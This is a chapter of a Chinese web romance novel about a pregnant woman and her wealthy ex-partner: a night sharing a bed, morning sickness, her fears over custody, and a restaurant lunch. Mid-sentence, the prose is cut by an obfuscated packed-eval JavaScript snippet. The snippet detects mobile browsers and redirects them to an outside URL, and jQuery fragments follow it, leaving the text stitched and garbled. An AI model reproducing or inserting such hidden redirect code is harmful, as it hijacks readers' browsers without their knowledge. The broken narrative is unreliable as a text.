75. 第 75 章

作品:《恋月癖[先孕后爱]

    章柒月咬咬牙,半饷才从牙缝里挤出一句:“……随便你!”


    说完便像只被踩了尾巴的猫,炸毛般溜走了。


    傅中庭看着她恼羞成怒的样子,低声笑了出来。


    不过他没有立刻离开,而是走到一旁的婴儿床边,饶有兴致地伸出手指,轻轻拨弄了一下上方悬挂着的,色彩柔和的旋转安抚玩具。


    小星星和小兔子形状的挂件缓缓转动,发出细微悦耳的叮咚声。


    他静静地看了一会儿,这才关掉灯,退出了这个饱含期待的小小天地。


    行李箱最后还是被提进了书房,暂时安置在角落。


    傅中庭从箱子里拿出睡衣和洗漱用品,等到洗漱好,用毛巾擦拭着微湿的头发走回客厅时,只见原本空荡荡的沙发上,已经放好了一个蓬松的枕头和一条叠得方正的薄被。


    傅中庭回首看了一眼紧闭着的主卧房门后,走回沙发边坐下,拿起笔记本电脑,开始处理积压的邮件。


    窗外的雨势已经渐渐小了下来,从之前的倾盆瓢泼变成了淅淅沥沥的的雨丝,敲打在玻璃窗上,发出催眠般的沙沙声。


    傅中庭抬眼看了下电脑右下角的时间,已过十一点。


    他合上笔记本,起身将客厅和厨房的灯一一关掉,只留了一盏角落里的落地夜灯,然后回到沙发边,掀开薄被躺了下去。


    沙发虽然是三人位的长度,但对于身高一米八七、肩宽腿长的傅中庭来说,平躺下去还是显得有些局促拥挤,加上薄被占据的空间,他只好侧过身躺下。


    嗯,人生第一次睡沙发,体验感……确实不怎么样。


    他闭眼躺了片刻,仍然毫无睡意。


    既然睡不着,他索性掀开被子坐了起来,打开了沙发旁的落地灯,重新打开笔记本,调出了集团最新的财务报表。


    一份冗长的财务报表还没看完,傅中庭敏锐的听到了走廊处传来轻微的门锁滑动声,他静坐不动,目光仍落在屏幕上。


    片刻后脚步声由远及近的轻轻响起,停在了客厅与走廊的交界处。


    他这才循声看去。


    主卧的门开了一半,室内的灯光流泻出来,在昏暗的客厅地板上划出一道温暖的光带。


    章柒月就站在那边缘,身上穿着一套藕荷色的棉质睡衣,长发随意的披在肩头。


    她看着他在屏幕光影下的脸庞,以及他即使坐着也难掩高大、在狭小沙发上显得委屈巴巴的模样,沉默片刻终究还是开口说道:“你进来睡吧,”


    她顿了顿,像是怕他误会,又飞快地补充了一句,“先说好,我是怕你感冒生病,回头再赖我头上。”


    沙发处光线略暗,恰好遮掩住了傅中庭眼底一闪而过的笑意,只是声音比平时温和了些,“嗯,我知道。”


    他知道她心软,知道她只是嘴硬。


    话都说出口了,人却有些不自在起来。


    她不再看他,立刻转身先一步溜回了主卧,只留下一扇敞开的房门。


    傅中庭看在眼里,唇角的弧度加深了些许。


    他放下笔记本,关掉灯拿起枕头,分手近两个月后,再一次踏进她的卧室。


    她已经上了床,背对着他这边躺下,只留给他一个裹在被子里的背影。


    然而,最引人注目的是床铺中央,那只粉白色相间的独角兽玩偶。


    傅中庭站在床边,看着明显是此地无银三百两的独角兽,顿时有些哭笑不得,颇感无奈。


    先不说他不是强迫女人的男人,更何况她现在还怀着孕,在她眼里,他难不成是那种不顾她身体和孩子安危的色中饿狼?


    关门关灯,将枕头放好后掀开被子,在她身旁躺下。


    床垫因为他的重量而微微下陷,这细微的动静,却让并排躺着的两个人,心头都蓦地闪过一丝难以言喻的怪异感。


    距离如此之近,能听到彼此轻微的呼吸声。


    空气中弥漫着一种久违的、却又带着几分陌生疏离的亲密。


    真正在她身边躺下,傅中庭才更清晰地闻到床铺间萦绕的气息。


    依旧是以往她身上淡淡的兰花清香,干净而柔和,似乎一切都和从前一样,并没有掺杂任何其他人的陌生味道。


    但同样的,这里也再没有了他惯用清冽的雪松味道。


    章柒月背对着他,紧紧握着胸前的被角。


    她感受到他的气息和那温热的体温,这让她浑身不自在,却又不敢动作,只能紧紧闭上眼睛,假装一副已经入睡的模样。


    然而,或许是因为最近几天孕期的不适感突然袭来,加上今天一连串的意外,即便有些不自在,但周遭安静下来,听着窗外的雨声,她的意识还是渐渐模糊,呼吸也真正变得绵长均匀起来,最终沉入了梦乡。


    傅中庭一直安静地阖眼躺着,直到身旁的呼吸声渐渐变得和缓平静,他才睁开了眼睛,侧头看向她的睡颜。


    他伸出手轻轻覆上她的额头,确认没有发热的迹象,这才真正放下心来。


    他收回手,重新躺好闭上了眼睛,听着窗外淅沥的雨声,伴着她清幽的香气渐渐睡去。


    *


    “哗哗——”


    迷迷糊糊中,傅中庭被一阵断断续续的水声唤醒,他侧头看过去,枕边早已没有人影。


    声音还在继续,他掀开被子下床,打开门后,那声音变得更加清晰,明显是从尽头处亮着灯的卫生间传来。


    傅中庭快步走过去,门没锁,他推门而入。


    只见章柒月穿着睡衣,长发凌乱地披散着,正跪坐在地砖上,整个人几乎伏在马桶前干呕,身体也在微微颤抖。


    听到开门声,她猛地回过头,看到是他,脸上闪过一丝狼狈,几乎是手忙脚乱地立刻伸手盖下了马桶盖子,又连忙按下了旁边的冲水按钮。


    “地上凉,先起来。”


    傅中庭眉头紧锁,他大步上前,毫不犹豫地弯下腰,伸手稳稳的将她从冰冷的地面上搀扶起来。


    章柒月借着他的力道勉强站直身体,但双腿还有些发软无力,她一只手不得不撑住一旁的洗手池,另一只手则向后推了推傅中庭环着她的手臂。然后拧开水龙头,俯下身用手掬起水匆忙地漱口。


    傅中庭被她推开,看着她虚弱颤抖的背影,心头像是被什么狠狠揪了一下。


    他转身快步走了出去,很快又端着一杯温水走了回来,水面上还漂浮着两片新鲜的柠檬片。


    “用柠檬水漱漱口。”他将水杯递到她手边。


    章柒月喉间和嘴里那股呕吐后的酸涩让她此刻也顾不上客气,接过水杯猛地喝了一大口,含在口中片刻,才又对着水池吐出。


    微酸的柠檬水似乎真的起到了一些作用,那股恶心感被稍稍压制了下去。


    她抬起头,将沾染了水迹的凌乱发丝随意地别到耳后,镜中映出的脸庞苍白不已,连嘴唇都快要没有血色。


    傅中庭站在她身后,目光沉沉地看着她憔悴的模样,他上前单手稳稳地环住她有些虚软的腰身,另一只手及时接过她手里的水杯,揽着她往外走。


    “什么时候开始有这种反应的?”他低声问道,上次产检时,医生还说她没什么早孕反应,胃口也好,现在怎么会突然这么严重?


    章柒月只是无力地低垂着头,“早期反应就是这样的,我再去睡一会,你走的时候关好门就可以了。”


    说完,她便推开了他的手臂,径直走回了主卧。


    傅中庭拿着水杯站在原地,眉头紧拧,片刻后他走向厨房,先将水杯清洗干净放好,转而去了书房。


    临近十一点,客厅里已经洒满了明媚的阳光,章柒月才伸了个懒腰从卧室走了出来,慢悠悠去了卫生间洗漱。


    补了几个小时的觉,精神稍微恢复了一些。


    好在这次刷牙没了感觉,她洗完脸抬起头,视线却猝不及防地瞥见镜子里映出门口多了一个人影。


    傅中庭不知何时站在了卫生间门口,正静静地看着她。


    “你怎么还在?”她吓了一跳,“你没去公司吗?”


    她以为他早就该走了,毕竟今天是工作日,而且他刚回国,中荣那边肯定有一堆事情等着他处理。


    傅中庭的目光在她刚刚洗过的素净脸庞上停留片刻,虽然回笼觉睡了两个小时,但她脸色依旧不太好。


    昨晚看她脸色不佳,开始还以为是淋雨受了寒,现在看来并不是。


    “今天公司没什么要紧事。”他避重就轻地解释了一句,“感觉怎么样?还难受吗?”


    章柒月心里叹了口气,看来他是真的不打算走了。


    她垂下眼睫,“现在没事了,一会儿我也要去公司,你去忙你的吧,不用管我。”


    傅中庭却仿佛没听到她的逐客令,他抬手看了眼腕表,“时间不早了,你早饭没吃,那就早点吃午饭,吃完我送你去公司。”


    章柒月张了张嘴,话到嘴边,又忍了下来。


    算了,现在跟他硬碰硬没什么好处,吃完饭去了公司再想办法吧。


    *


    不久后,两人一起下了楼。


    昨天那场酣畅淋漓的大雨过后,今天的空气格外清新,天空湛蓝如洗,阳光明媚却不灼人,是个难得的好天气。


    走出单元门口,便见秦风站在一旁库里南旁,车身是纯黑色,在明亮的光线下反射出如墨玉般深邃润泽的光彩,低调奢华,存在感却极强。


    章柒月脚步一顿,想起昨晚他说的车被追尾,所以,宾利昨天送修,今天就换成了库里南?


    傅中庭很自然地走到车旁,伸手拉开了宽敞的后座车门,“上车吧,这辆车空间大,减震更好,你坐着会舒服一点。”


    章柒月在心底默默想起了自己精挑细选才买的小车,就算她并不仇富,此刻内心也忍不住小小地感叹了一下:这人与人之间的差距,有时候还真是天差地别。


    她没再说什么,弯腰坐进了车内。


    库里南果然名不虚传,真皮座椅柔软宽大,包裹性极佳,车内弥漫着淡淡的、高级的皮革和木质香薰的味道,静谧又舒适。


    然而,她刚在柔软如云的座椅上坐定,一个被昨晚混乱情绪所忽略的问题,如惊雷般猛地在她脑中炸开!


    如果傅中庭真的坚持不放手,非要介入她和孩子的生活,那以后孩子的抚养权要怎么办?


    她从未想过要算计他什么,她只是想好好抚养孩子长大。


    可如果傅中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142923|183807||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    庭执意要认这个孩子,要尽父亲的责任,甚至……要孩子的抚养权呢?


    她之前所有的计划和底气,是基于她计算着自己的存款,以及规划着公司的发展,她可以独立抚养孩子,甚至能提供不错的生活条件。


    可如果对手是傅中庭呢?


    她的存款在傅中庭的财富面前,不过是沧海一粟。


    他的人脉、资源、能给孩子提供的物质条件、教育资源、未来可能的一切……都是她难以企及的,如果真的争夺抚养权,她几乎没有胜算。


    这个念头让章柒月的心瞬间沉了下去,放在膝盖上的手,也不自觉的蜷缩起来。


    傅中庭从另一侧上车,在她身旁坐下,似乎并未察觉到异常,只是打开自己的手机,然后递到了她面前。


    思绪突然被打断,看着突然出现在面前的黑色手机,屏幕上还亮着,章柒月却没有立刻去接,而是有些诧异地抬起头。


    “这是穆尧让人整理的一份口碑不错的餐厅名单,”傅中庭淡淡解释道,“你看看想吃什么。”


    章柒月这才伸手接过,这还是她第一次用他的私人手机。


    屏幕上显示着一份PDF文件,文件做得非常细致,按照菜系进行了分类,而且每家餐厅后面还标注了擅长的口味及招牌菜。


    章柒月滑动着屏幕,还没看到第二页,目光就被一家名为“悦然居”的创意融合餐厅吸引了。


    招牌菜一栏,赫然写着:金汤芙蓉脍。


    名字起得雅致,图片看起来也让人颇有食欲。


    金黄浓郁的汤底,应该是用鱼骨和多种鲜料熬制而成,里面浸着雪白嫩滑的鱼片,点缀着金黄的南瓜茸和几颗鲜红的枸杞,色彩搭配悦目,应该很是酸辣开胃。


    几乎没怎么犹豫,章柒月便指了指屏幕:“就这家悦然居吧。”


    “好。”傅中庭从她手中拿回手机,没有任何异议,直接对前排的秦风报出了餐厅名字和地址。


    库里南平稳启动,驶向目的地。


    *


    不愧是穆尧挑选的地方,餐厅环境清幽雅致,小桥流水,竹影摇曳,包厢私密性极佳,菜品也很快被训练有素的服务员依次送上。


    除了章柒月一眼看中的金汤芙蓉脍,傅中庭又额外加了几道滋润清补的菜肴,虫草花竹丝鸡、淮山百合炖乳鸽和蟹粉嫩豆腐,几乎摆满了整张不大的圆桌。


    那碗金汤芙蓉脍果然没有让章柒月失望,诱人的金黄色汤汁,浓郁鲜美,带着恰到好处的酸辣,十分开胃;鱼片嫩滑无刺,入口即化,口感层次丰富。酸辣鲜美的滋味瞬间打开了她萎靡的味蕾,暖意从胃里蔓延开来,脸色都似乎红润了一点点,她满足地微微眯起了眼睛。


    傅中庭一直留意着她的反应,见她吃得开心,没有不适的迹象,眉头才真正舒展开来,自己慢慢开始动筷。


    “这份名单我发给你,”傅中庭用餐巾擦了擦嘴角,“这些餐厅穆尧那边多少都有些股份,如果我不在家,你想吃什么直接打电话给他们,都会第一时间送上门。”


    章柒月正夹起一筷子黑松露脆皮雪花牛肉,外酥里嫩、带着浓郁黑松露香气的牛肉在口中化开,带来极致的味蕾享受。


    但听到傅中庭的话,她嘴上却不肯服软,故意几分挑衅的语气说道:“宝宝像我,一点都不挑食,吃什么都可以。”她顿了顿,意有所指地补充,“才不像某些人,那么挑食难伺候。”


    生气吧!最好气的再也不来才好呢!


    谁料,傅中庭非但没有生气,反而唇角向上勾起,赞同的点了点头:“嗯,小葡萄像你挺好的。”


    “那当然,像我……”章柒月下意识地顺着他的话茬接了下去,可话说到一半,筷子却突然顿在了半空中。


    她猛地抬起头,瞪大眼睛看向傅中庭,“……小葡萄?”


    傅中庭看着她这副惊呆了的模样,眼底掠过笑意,他放下筷子,不急不慢的缓声解释道:


    “根据孕周推算,这个孩子,应该就是在我办公室那次有的。”


    他语气虽然平静,但提起那晚,眼神还是不易察觉地暗了暗,“我记得很清楚,那晚你吃了不少你喜欢的冈山葡萄,没想到就那一次冲动,就在你身体里发了芽,结了果。叫‘小葡萄’,不是很贴切?”


    章柒月彻底愣住了,脸腾地一下红了,一直红到了耳根。


    那晚混乱而炽热的记忆碎片不受控制地涌入脑海,混合着葡萄清甜的滋味……她只觉得脸颊发烫,心跳也乱了几拍。


    你……你别胡说了!”她慌乱地低下头,不敢再看他,筷子胡乱地戳着碗里的米饭,声音细若蚊蚋,完全没了刚才故意挑衅的气势。


    “不对吗?”傅中庭看着她连脖颈都泛起粉红的模样,眼底的笑意更深了些。


    “我知道体外怀孕的概率很低,但没想到,我们这么幸运。不过,看来也是我们种子好,土壤肥,所以才这么顺利的长出了‘小葡萄’。”


    “咳咳咳……”


    章柒月突然被呛到。


    大白天的呢!他他他……他怎么可以面不改色地说这种有颜色的话!


    他还是那个在财经新闻里不苟言笑、在谈判桌上杀伐决断的傅中庭吗?!